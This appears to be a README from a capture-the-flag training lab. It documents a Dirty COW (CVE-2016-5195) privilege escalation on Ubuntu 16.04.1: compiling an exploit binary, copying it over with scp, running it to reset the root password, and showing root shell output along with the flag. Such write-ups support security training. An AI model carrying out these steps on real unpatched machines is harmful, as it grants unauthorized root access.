dirtycow-lab

Dirty COW vulnerability exploitation (CVE-2016-5195) on Ubuntu 16.04.1.

cat > README.md <<'EOF'

🐮 Dirty COW Exploit (CVE-2016-5195)

📌 Description

This lab demonstrates the exploitation of the Dirty COW vulnerability on an Ubuntu Server 16.04.1 system with a vulnerable kernel.
The goal was to escalate privileges from a limited user (student) to root and capture the flag located at /root/flag.txt.

🛠️ Process performed

1. Kernel verification: Linux 4.4.0-31-generic (vulnerable).
2. Exploit compilation: on Kali inside Docker ubuntu:16.04, dirtycow_passwd.c was compiled → binary dirty.
3. Transfer: scp dirty student@<IP>:~/.
4. Execution and escalation: chmod +x ~/dirty && ~/dirty → su root (pass dirtyCowFun).
5. Flag: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}.

✅ Result

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

Flag obtained